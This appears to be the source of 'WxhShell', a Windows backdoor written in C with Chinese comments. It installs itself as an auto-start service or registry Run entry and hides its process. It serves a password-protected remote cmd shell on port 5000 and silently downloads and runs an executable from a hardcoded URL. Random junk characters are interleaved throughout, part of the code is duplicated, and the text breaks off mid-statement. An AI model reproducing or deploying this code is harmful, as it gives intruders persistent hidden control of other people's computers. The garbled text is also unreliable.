l g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); #D<C )Q g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); !g?|9 NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); cWEE% 9)y/:sO<P if (!NtQueryInformationProcess) return 0; '= _/ 1F*q = 6tHsN23 hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); rx $mk if(!hProcess) return 0; 8}c$XmCM 3[\iQ*d }B if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; AuUde$l_ 0@yXi CloseHandle(hProcess); ;o^eC!:/% ST2.:v;lb hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ^@I if(hProcess==NULL) return 0; IC#>X5 D;oe2E{I HMODULE hMod; oeKHqP wg char procName[255]; 3!3xCO unsigned long cbNeeded; q`|LRz&al +J_c'ChN if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Jpj}@, a#^B2 CloseHandle(hProcess); Mx6@$tQ% BS /G("oZ[ if(strstr(procName,"services")) return 1; // 以服务启动 ~hZ"2$(0
4FEk5D return 0; // 注册表启动 /+8JCp
} ~1cnE:x;V `D>S;[~S7 // 主模块 1)9sf0LyU int StartWxhshell(LPSTR lpCmdLine) y]2qd35u_A { Cnnh7` SOCKET wsl;
u*e.yN BOOL val=TRUE; 6^%UU
o% int port=0; 4Yxo~ m( struct sockaddr_in door; 2uG0/7 HqI t74+ if(wscfg.ws_autoins) Install(); ]NjX?XdX< SLO%7%>p port=atoi(lpCmdLine); >QA uEM e@c0WlWa if(port<=0) port=wscfg.ws_port; '=[?~0(B w<zIAQN WSADATA data; 6726ac{xz if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; .nG#co"r}3 |\QgX%
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; 8S>&WR%jH] setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); !O-T0O door.sin_family = AF_INET; NxjB/N
door.sin_addr.s_addr = inet_addr("127.0.0.1"); `^bgUmJ~ door.sin_port = htons(port); .^N/peUq ^m?KRm2 if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { RMX:9aQ3F closesocket(wsl); }xBc0gr return 1; O_$m!5ug } 7#@cz5Su Xua+cVc\y if(listen(wsl,2) == INVALID_SOCKET) { 9l}FU$ closesocket(wsl); TftHwe):V return 1; HU%o6c w } W- i&sUgy Wxhshell(wsl); k9$K} WSACleanup(); u @~JiiC% ?g?L3vRK return 0; ;FBUwR} ,
FhekaA } uvtF_P/ ,stN // 以NT服务方式启动 ZX5 xF<os8 VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) (rkyW z { (Q%'N3gk DWORD status = 0; @kk4]:,w DWORD specificError = 0xfffffff; _u{c4U0, )N=NR2xBZ serviceStatus.dwServiceType = SERVICE_WIN32; 9;Itqe{8w serviceStatus.dwCurrentState = SERVICE_START_PENDING; AFc$%\s4 serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; \]P!.}nX# serviceStatus.dwWin32ExitCode = 0; t<~ $ serviceStatus.dwServiceSpecificExitCode = 0; `kbSu} serviceStatus.dwCheckPoint = 0; fQL"O}Z serviceStatus.dwWaitHint = 0; hGd<<\ .u:81I=w( hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); q6_u@:3u if (hServiceStatusHandle==0) return; T%6&PrQ7 Lg~B'd8m status = GetLastError(); Sp7ld7c if (status!=NO_ERROR) `!Ds6 { ta`N8vnf serviceStatus.dwCurrentState = SERVICE_STOPPED; N5]0/,I} serviceStatus.dwCheckPoint = 0; \2ZPj)&-E serviceStatus.dwWaitHint = 0; c6nflk.l serviceStatus.dwWin32ExitCode = status; 2>86oP& serviceStatus.dwServiceSpecificExitCode = specificError; )\6&12rj SetServiceStatus(hServiceStatusHandle, &serviceStatus); K?s+ 3 return; h3*Zfl<] } p"l3e9&'j w"OP8KA:^T serviceStatus.dwCurrentState = SERVICE_RUNNING; 9:`(Q3Ei serviceStatus.dwCheckPoint = 0; DA2}{ serviceStatus.dwWaitHint = 0; jy giG&H if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); QmLF[\Oo_ } Q3|T':l4 0PU8#2pR // 处理NT服务事件,比如:启动、停止 EI_ VOID WINAPI NTServiceHandler(DWORD fdwControl) @J5Jpt*IE { C8vOE`U,J switch(fdwControl) K'X2dG* { ,y+$cM( case SERVICE_CONTROL_STOP: 5B&;uY serviceStatus.dwWin32ExitCode = 0; a@\D$#2r serviceStatus.dwCurrentState = SERVICE_STOPPED; % ]I ZLJ serviceStatus.dwCheckPoint = 0; U Z|HJ8_ serviceStatus.dwWaitHint = 0; U$
F{nZ1 { aX~%5mF SetServiceStatus(hServiceStatusHandle, &serviceStatus); xdf82) } Y$Q|J4z return; ^|/]( case SERVICE_CONTROL_PAUSE: 7\f\!e < serviceStatus.dwCurrentState = SERVICE_PAUSED; zN{K5<7o break; [5uRS}! case SERVICE_CONTROL_CONTINUE: #]#sGmW/L serviceStatus.dwCurrentState = SERVICE_RUNNING; RjWqGr;bO break; `)T~psT case SERVICE_CONTROL_INTERROGATE: >m#e:[N break; #
eCjn }; LwhyE:1 SetServiceStatus(hServiceStatusHandle, &serviceStatus); "=6v&G]U4 } -s|}Rh?Y w.lAQ5)I%\ // 标准应用程序主函数 zoDH` h_ int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) K"b`#xN(t { Q}!mx7b0] ^-rfvc // 获取操作系统版本 rHf&:~ OsIsNt=GetOsVer(); Rb%%?*| GetModuleFileName(NULL,ExeFile,MAX_PATH); ' j6gG K{ \;2M // 从命令行安装 f]G>(V=i if(strpbrk(lpCmdLine,"iI")) Install(); o/C\d$i' f)g7
3= // 下载执行文件 m85WA
#
` if(wscfg.ws_downexe) { bJYda) if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) etoo
#h"]1 WinExec(wscfg.ws_filenam,SW_HIDE); quvanxV-L } Z0`T\ay @q"m5 if(!OsIsNt) { 52.>+GC // 如果时win9x,隐藏进程并且设置为注册表启动 U,+[5sbo HideProc(); 2P]L9'N{Y StartWxhshell(lpCmdLine); OiAJ[L } M:P0m6ie else kPQtQh]y% if(StartFromService()) <5G{"U+ \ // 以服务方式启动 %0 #XPc(" StartServiceCtrlDispatcher(DispatchTable); <BO)E( else `;YU.* // 普通方式启动 sP-^~ pp StartWxhshell(lpCmdLine); \`ZW* EtPI 'kYwz;gp return 0; DAwqo.m } >6oOZbUY0 `fNG$ODL A/7X9ir JT9N!CGZ =========================================== lc_E!"1 hoT/KWD, {V1Pp;A y7S4d~& LTJc,3\, [ >^PRs " H'MJ{r0, BSq)RV/3 #include <stdio.h> Z_gC&7+ #include <string.h> ^1Xt]T`e #include <windows.h> Qu<Bu)` #include <winsock2.h> p#SY /KIw #include <winsvc.h> K^rIG6 #include <urlmon.h> M7>(hVEAW' @\w,otT #pragma comment (lib, "Ws2_32.lib") KluA #pragma comment (lib, "urlmon.lib") SEl#FWR !;6Jng% #define MAX_USER 100 // 最大客户端连接数 aZKOY #define BUF_SOCK 200 // sock buffer q8:{Nk #define KEY_BUFF 255 // 输入 buffer fbFX4?- cL8#S>>u. #define REBOOT 0 // 重启 5efxEt>U #define SHUTDOWN 1 // 关机 FuX 8v H0a/(4/xg #define DEF_PORT 5000 // 监听端口 Y${l!+q 4yaxl\2 #define REG_LEN 16 // 注册表键长度 0)Rw|(Fpo] #define SVC_LEN 80 // NT服务名长度 #Fu>|2F| Px5t,5xT8 // 从dll定义API -ng=l; typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Fg/dS6=n`? typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 91of~ffh typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ;Qi }{;+ typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 6|J'>) ni // wxhshell配置信息 G6K
< struct WSCFG { U,1AfzlF int ws_port; // 监听端口 ,jy*1Hjd char ws_passstr[REG_LEN]; // 口令 xx*2?i int ws_autoins; // 安装标记, 1=yes 0=no rOD1_X- char ws_regname[REG_LEN]; // 注册表键名 i.iio- char ws_svcname[REG_LEN]; // 服务名 +Ra3bj l char ws_svcdisp[SVC_LEN]; // 服务显示名 +VEU:1Gt char ws_svcdesc[SVC_LEN]; // 服务描述信息 TO;.eN!sv char ws_passmsg[SVC_LEN]; // 密码输入提示信息 J
NC int ws_downexe; // 下载执行标记, 1=yes 0=no 8_uzpeRhJc char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" j1Yq5`ia char ws_filenam[SVC_LEN]; // 下载后保存的文件名 K#K\-TR|$ Oajv^H,Em }; ,/&Zw01dGN tJ&5tNl // default Wxhshell configuration &[?CTZ struct WSCFG wscfg={DEF_PORT, km:nE: | "xuhuanlingzhe", AB.(CS=i 1, FM^9}* "Wxhshell", `PI(%N "Wxhshell", v4*rPGv "WxhShell Service", Cd#E"dY6 "Wrsky Windows CmdShell Service", [A~G- "Please Input Your Password: ", ~@I@} n 1, ,<ya@Fi{ "http://www.wrsky.com/wxhshell.exe", U; xF#e "Wxhshell.exe" lx,`hl% }; %4>x!{jwV f1{z~i9@$ // 消息定义模块 sLcY,AH char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; !ZtSbOC ' char *msg_ws_prompt="\n\r? for help\n\r#>"; (!K+P[g char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ~waNPjPRG char *msg_ws_ext="\n\rExit."; p{;i& HNdp char *msg_ws_end="\n\rQuit."; EU`T6M char *msg_ws_boot="\n\rReboot..."; ,axDMMDI char *msg_ws_poff="\n\rShutdown..."; |ek
ak{js char *msg_ws_down="\n\rSave to "; V+B71\x< (fk5' char *msg_ws_err="\n\rErr!"; XYbyOM VI char *msg_ws_ok="\n\rOK!";
7
Yv!N p6 xPheD char ExeFile[MAX_PATH]; Iz\1~ int nUser = 0; zjM/M HANDLE handles[MAX_USER]; o$_93<zc int OsIsNt; h_
!>yK (6xDu.u?A SERVICE_STATUS serviceStatus; CJw$j`k SERVICE_STATUS_HANDLE hServiceStatusHandle; ,-#GX{! -Wjh* * // 函数声明 T |"`8mG int Install(void); rFd@mO int Uninstall(void); `bP?o int DownloadFile(char *sURL, SOCKET wsh); Gbb\h int Boot(int flag); 9&jPp4qG void HideProc(void); fGu!M9qN4 int GetOsVer(void); }: #dV
B+ int Wxhshell(SOCKET wsl); %Y',|+Arx void TalkWithClient(void *cs); YOw?'+8 int CmdShell(SOCKET sock); H-&3} int StartFromService(void); ~mA7pOHj int StartWxhshell(LPSTR lpCmdLine); ba&o;BLUy j+>Q# &h9 VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); )Qr6/c8} VOID WINAPI NTServiceHandler( DWORD fdwControl ); 05)|"EX) /2w@K_Px6 // 数据结构和表定义 C_-E4I
Z) SERVICE_TABLE_ENTRY DispatchTable[] = OOLe[P3J3 { TG]}X\c+V| {wscfg.ws_svcname, NTServiceMain}, $^$ECDOTB {NULL, NULL} )0|):g }; on50+)uN H-a^BZ&iU // 自我安装 tR O IBq| int Install(void) 1f;or_f#k? { FNJ!IkuR char svExeFile[MAX_PATH]; +S0u=u65 HKEY key; #~e9h9 strcpy(svExeFile,ExeFile); (6-y+LG u:5IjOb2^ // 如果是win9x系统,修改注册表设为自启动 Mdm0g if(!OsIsNt) { j0?>w{e if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { `,m7xJZ?y RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); X7&U3v RegCloseKey(key); ^2JPyyZa if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { <?4cWp|i RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); tQf!|]#J RegCloseKey(key); kYtHX~@ return 0; gPp(e
j7 } N6BNzN}-P } Z fqQ{_ } 9b%|^.B else { z.j4tc9F/5 We\Y \*!v // 如果是NT以上系统,安装为系统服务 xfes_v"" SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); @Q3, bj if (schSCManager!=0) 8.-S$^hj~6 { BDp:9yau SC_HANDLE schService = CreateService
,| <jjq) ( r
hZQQOQ schSCManager, {70Ou}* wscfg.ws_svcname, l\Cu1r-z wscfg.ws_svcdisp, a>?p.!BM SERVICE_ALL_ACCESS, YPG,9iZ&f SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ]*a@*0= SERVICE_AUTO_START, gu!](yEgl SERVICE_ERROR_NORMAL, q>P[n z% svExeFile, \d ui`F"Cc NULL, Pm;I3r=R\ NULL, '#KA+?@ NULL, (<
:mM NULL, ,,Jjr[A_j NULL m}rh|x/? ); K,G,di if (schService!=0) .@Hmg { l$=Gvb CloseServiceHandle(schService); {clCn CloseServiceHandle(schSCManager); L%k67> strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); -ywX5B strcat(svExeFile,wscfg.ws_svcname); :|zp8| if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { [#7D~Lx/ RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Imke/ =h RegCloseKey(key); 219R&[cb return 0; u/;_?zI } avmcGyL } >G<4Ro" CloseServiceHandle(schSCManager); ~d&'Lp[3 } ?ISI[hoc } A\Lr<{Jh K?$9N}+ return 1; o@Scz!"g } $^]
9 h\/^Aa0 // 自我卸载 q|R+x7x int Uninstall(void) CQj/e+eE4 { BN_!Y)Fl HKEY key; ?OdV1xB /]pX8
d if(!OsIsNt) { PG\\V$}A( if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { L-`(!j RegDeleteValue(key,wscfg.ws_regname); A J<iM)l| RegCloseKey(key); }m9S(Wal if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { N-]\oMc2 RegDeleteValue(key,wscfg.ws_regname); H<v c\r RegCloseKey(key); 'Na|#tPYI return 0; JJ^iy*v } N5[_a/ } 5}<.1ab3V } kqjxJ5 else { eUX@9eML OJnPP> SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); J&
1X if (schSCManager!=0) &gY;`*< { -fb1cv~N SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Na~g*)uT$ if (schService!=0) Z)C:]}Ex { 3N(8|wh if(DeleteService(schService)!=0) { \W3+VG2cA CloseServiceHandle(schService); d)`nxnbMeM CloseServiceHandle(schSCManager); gubb .EY return 0; P58\+9d_ } ^G]KE8 CloseServiceHandle(schService); E#yCcC!wMY } S/#) :,YS CloseServiceHandle(schSCManager); ?AqrlR]5 } FE$M[^1_ } m]+X}| Y!K^-Y} return 1; `DU'wB
} v*vub#wP YHwVj?6W // 从指定url下载文件 5Ws:Ei{R int DownloadFile(char *sURL, SOCKET wsh) z|t.y.JX { m?
\#vw$ HRESULT hr; <8F->k1"3 char seps[]= "/"; {,nd_3"Vq char *token; "6|'&6& char *file; LH?gJ8` char myURL[MAX_PATH]; $g}/T_26 char myFILE[MAX_PATH]; LaAgoarN z9OMC$,V strcpy(myURL,sURL); cG~_EX$ token=strtok(myURL,seps); $=;bccIob while(token!=NULL) K284R=j -& { tA;ZW2$# file=token; XY$cx~ token=strtok(NULL,seps); gn;nS{A } W2X+NacD g*"J10hyP GetCurrentDirectory(MAX_PATH,myFILE); ul5:: strcat(myFILE, "\\"); 9I^H)~S strcat(myFILE, file); (<5'ceF)X send(wsh,myFILE,strlen(myFILE),0); cSH tl<UY send(wsh,"...",3,0); b{yH4)O hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); MO(5-R` if(hr==S_OK) |?pYJkrYO return 0; 2yVGEp^ else [\w>{ return 1; 7\Yq]:;O s>"WQ|;6 } OM.(g%2 @/ovdf{ // 系统电源模块 }gi`?58J6 int Boot(int flag) 2-B8>-
{ g'l7Jr3 HANDLE hToken; (t]R#2{ TOKEN_PRIVILEGES tkp; _#\5]D~"" N]<~NG:6b if(OsIsNt) { O.m.]%URW OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 8)2u@sx% LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); OkO@BWL tkp.PrivilegeCount = 1; $(<*pU tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ::Ve ,-0 AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
_ jM6ej< if(flag==REBOOT) { Snvj9Nr if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) E'6z7m. return 0; )="g?E3 } 7C6BZ$( else { Yh!\:9@( if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) n*]x02:LjZ return 0; S3[oA& } ^c:eXoU } 3ks| else { DW;.R<8 if(flag==REBOOT) { 7[ VCCI
g if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) \?Oa}&k$F8 return 0; v+,
w{~7RH } /)HEx&SQmZ else { s?gXp{O?X if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) dIe 6:s return 0; ]&%X(jWyn } l'X?S(fiV } 8CHf. SXh \}_7^)S; return 1; ), x3tTR } 1 bx^Pt) )}Mt'd // win9x进程隐藏模块 ?%TM7Z4 void HideProc(void) 1F%*k &R { jZgnt{ Sr-^faL HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ZJ'H y5? if ( hKernel != NULL ) ' [M2Q"X { 5L'@WB|{4u pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); zj0pP{y ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 4rCqN.J FreeLibrary(hKernel); tw^.(m5d } dXSb%ho +=F);;! return; qQ\hUii } eFI9S.6 A&|(% // 获取操作系统版本 5^R#e(mr int GetOsVer(void) F;l<>|vG { J};,%q_ OSVERSIONINFO winfo; eT
\Q winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); I.0Usa"z GetVersionEx(&winfo); I;PO$T if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 'g,
x}6 return 1; gf8U &; else 8c'-eT" return 0; &_TjRj" } *" +cP! G@6,O-Sj // 客户端句柄模块 Lr]Hvd int Wxhshell(SOCKET wsl) ))-M+CA { Fd=`9N9 SOCKET wsh; mLdyt-1 struct sockaddr_in client; 'cCj@bZ9X DWORD myID; JHOBg{Wg b-gVRf#F while(nUser<MAX_USER) 9O_N
iu0 { y^fU_L?p int nSize=sizeof(client); \r&@3a.> wsh=accept(wsl,(struct sockaddr *)&client,&nSize); [~0q ) if(wsh==INVALID_SOCKET) return 1; > %*X2'^ 69w"$Vk handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); _\6(4a`, if(handles[nUser]==0) {Z;GNMO: closesocket(wsh); LR.+CxQ else
=)>q.R9 nUser++; CzbNG^+ } )x s, WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Z*B(L@H Um|Tf]q return 0; CR=MjmH } d+)L\
`4 Rb*\A7o|; // 关闭 socket b
DvbM void CloseIt(SOCKET wsh) h0pr"]sO;$ { md
s\~l73 closesocket(wsh); 2geC3v% 0o nUser--; ApBThW*E ExitThread(0); "xI[4~'`: } Mb!^_cS( 1i2O]e! // 客户端请求句柄 a^,RbV/ void TalkWithClient(void *cs) {P+[CO { iB-s*b<`~ c,ek]dTj SOCKET wsh=(SOCKET)cs; 0&~u0B{ char pwd[SVC_LEN]; CxV%/ChJ# char cmd[KEY_BUFF]; 9m!fW|4 char chr[1]; ) P])0Y- int i,j; i|GC 'XD@ EUqG"h5#A{ while (nUser < MAX_USER) { kRPg^Fw"Vw tT:yvU@a if(wscfg.ws_passstr) { aoS1Yt'@ if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); vS#]RW&j //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); eo[^ij //ZeroMemory(pwd,KEY_BUFF); ?CDq^)T[ i=0; <rs]@J'p while(i<SVC_LEN) { j C? N5DS-gv // 设置超时 ^p/mJ1/s7 fd_set FdRead; jEI L(0_H struct timeval TimeOut; 5$X{{j2 FD_ZERO(&FdRead); 1\uS~RR FD_SET(wsh,&FdRead); Q{60^vg TimeOut.tv_sec=8; 9m{rQ P/ TimeOut.tv_usec=0; S{6u\Vy int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); .MlE1n' if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); /Z_QCj 4NIfQYC. if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ";]m]PRAam pwd=chr[0]; \ :.p8` if(chr[0]==0xd || chr[0]==0xa) { f`e.c_n( pwd=0; ;]! break; Z/x~:u_ } Hw?
J1#1IE i++; Y|F);XXIl } ZUycJ-[ z~qQ@u| // 如果是非法用户,关闭 socket $.Ni'U if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ?AE%N.rnsi } (!s[~O 6 bu-
RU(% send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 3-'|hb send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); J']W7!p novZ<?7 5; while(1) { V|=
1<v Tb^9J7] ZeroMemory(cmd,KEY_BUFF); a$
}^z sp%7iNs // 自动支持客户端 telnet标准 <OUApp H j=0; >:=TS"}yS} while(j<KEY_BUFF) { y4') !e if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); l-&f81W cmd[j]=chr[0]; 8'y|cF%U if(chr[0]==0xa || chr[0]==0xd) { PA E)3 cmd[j]=0; s=:n<`Z2 break; 3;A1[E6K } kHO\#fF< j++; deNU[ } 99 ["I: B?jF1F!9 // 下载文件 wgrYZ^] if(strstr(cmd,"http://")) { W6pS.} send(wsh,msg_ws_down,strlen(msg_ws_down),0); &IcDUr]L if(DownloadFile(cmd,wsh)) A)xI.Q6 send(wsh,msg_ws_err,strlen(msg_ws_err),0); HN:{rAIfc else ]n{2cPx5d send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); U5Y*xm< } e"vEh else { ]SQ_*$` pH4i6B*5 switch(cmd[0]) { \1tce`+ 3yTBkFI! // 帮助 (nBsf1l case '?': { eA!aUu send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); |PWLFiT(> break; bc+'n } h.67]U7m // 安装 (vY10W{ case 'i': { ;>PV]0bOm> if(Install()) 2-$R@
SVy send(wsh,msg_ws_err,strlen(msg_ws_err),0); >6@UjGj54 else &P\T{d2" send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 1r;Q5[@ break; zNBG;\W } m8FKr/Z- // 卸载 UOa{J|k>h case 'r': { &R 0BuFL8 if(Uninstall()) .9`.\v6R send(wsh,msg_ws_err,strlen(msg_ws_err),0); n|(Y?`( else d~.#K S send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); F.JE$)B2EX break; Z
rvb
% } " I:j a7 // 显示 wxhshell 所在路径 I+}h+[W case 'p': { {~Phc 2z char svExeFile[MAX_PATH]; f9;M"Pd strcpy(svExeFile,"\n\r"); d=q2Or strcat(svExeFile,ExeFile); A H`6)v<f send(wsh,svExeFile,strlen(svExeFile),0); d~qDQ6! break; vRm;H|[%S } H=B8'N // 重启 XWK A0 case 'b': { ,;UVQwY send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); [7$.)}Q- if(Boot(REBOOT)) S_C+1e send(wsh,msg_ws_err,strlen(msg_ws_err),0); [03Aej else { T'FRnC^~ closesocket(wsh); Dk/;`sXV ExitThread(0); &g|-3)A } Fz-Bd*uS break; $dq
R]' } XD9lox // 关机 U ^[<G6<9] case 'd': { |_Z(}%
<o send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); @99@do|C if(Boot(SHUTDOWN)) Hcuvu[)T" send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]r{y+g| else { _r&`[@m closesocket(wsh); G,%R`Xns ExitThread(0); V{ECDgP } 9>%ti&_-jt break; Wfz&:J# } ;i> |5tEy // 获取shell an=8['X case 's': { N
=)9O CmdShell(wsh); WL+I)n8~ closesocket(wsh); #1+1 q{=Z< ExitThread(0); c&J,O1){\ break; Ak^g#^c* } QVsOB$ // 退出 V`m'r+ Y case 'x': { Wyd,7]'z)Z send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); QJjqtOf> CloseIt(wsh); iG^o@*}a break; Z`Rrv$M! } QJ\
o"c // 离开 :>c33X} case 'q': { 4[v
%]g` send(wsh,msg_ws_end,strlen(msg_ws_end),0); =`Pgo5A closesocket(wsh); uzr(gFd WSACleanup(); Vf:/Kokq exit(1); 0[/>>
!ws break; UOC>H%r~M? } 5ro^<P0f** } q' fZA; } $F"'=+0 XvETys@d // 提示信息 ).0klwfV if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); rozp } Q'>pOtJG*J } E<]O,z;F 7u73v+9qn: return; eg!s[1[_ } ^YiGvZJ p8,Rr{ // shell模块句柄 )_BQ@5NK int CmdShell(SOCKET sock) cNOtfn6?F { j1D 1tn STARTUPINFO si; 1k"<T7K ZeroMemory(&si,sizeof(si)); 0vR
gmn si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; A{X:p3$eN si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; |7ct2o~un PROCESS_INFORMATION ProcessInfo; 89hV{^ char cmdline[]="cmd"; )}w2'(!X8 CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 4:wVT;?a return 0; 2[}
O: } +)$oy] o_ng{SL // 自身启动模式 mk.1j x?l int StartFromService(void) 3ScOJo { hvW FzT5 typedef struct hNU$a?eVpR { 4Ys\<\~d DWORD ExitStatus; k0r93xa DWORD PebBaseAddress; HE!"3S2S&+ DWORD AffinityMask; ^Mvgm3hg DWORD BasePriority; !U::kr=t ULONG UniqueProcessId; T8^`<gr. ULONG InheritedFromUniqueProcessId; <8)cr0~zy> } PROCESS_BASIC_INFORMATION; <cm(QNdcC l(A)G d5> PROCNTQSIP NtQueryInformationProcess; (>49SOu;$\ h4ozwVA static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; m3#rU%Wj static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; x&p.-Fi 4yK{(!&i+ HANDLE hProcess; >;Ag7Ex PROCESS_BASIC_INFORMATION pbi; Uc%kyTBm1 RE0ud_q2 HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); q!;u4J if(NULL == hInst ) return 0; 3QI. |;X ;{lb_du2: g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); >\?RYy,s$ g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); +-r ~-b s NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 'vwu^u? &M>o if (!NtQueryInformationProcess) return 0; ?ESsma6 U3**x5F_ hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); %ZsdCQc{` if(!hProcess) return 0; 3ncN)E/@ g@zhhBtQ if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; KwHlpW* b($9gre>mI CloseHandle(hProcess); !tzk7D }Y"vUl_I2 hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); =odK i "-6 if(hProcess==NULL) return 0; ]T<tkvcI u!-v1O^[ HMODULE hMod; ~ <36vsk char procName[255]; fHODS9HQ unsigned long cbNeeded; 0qq>(K[ B[IWgvB(e if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), 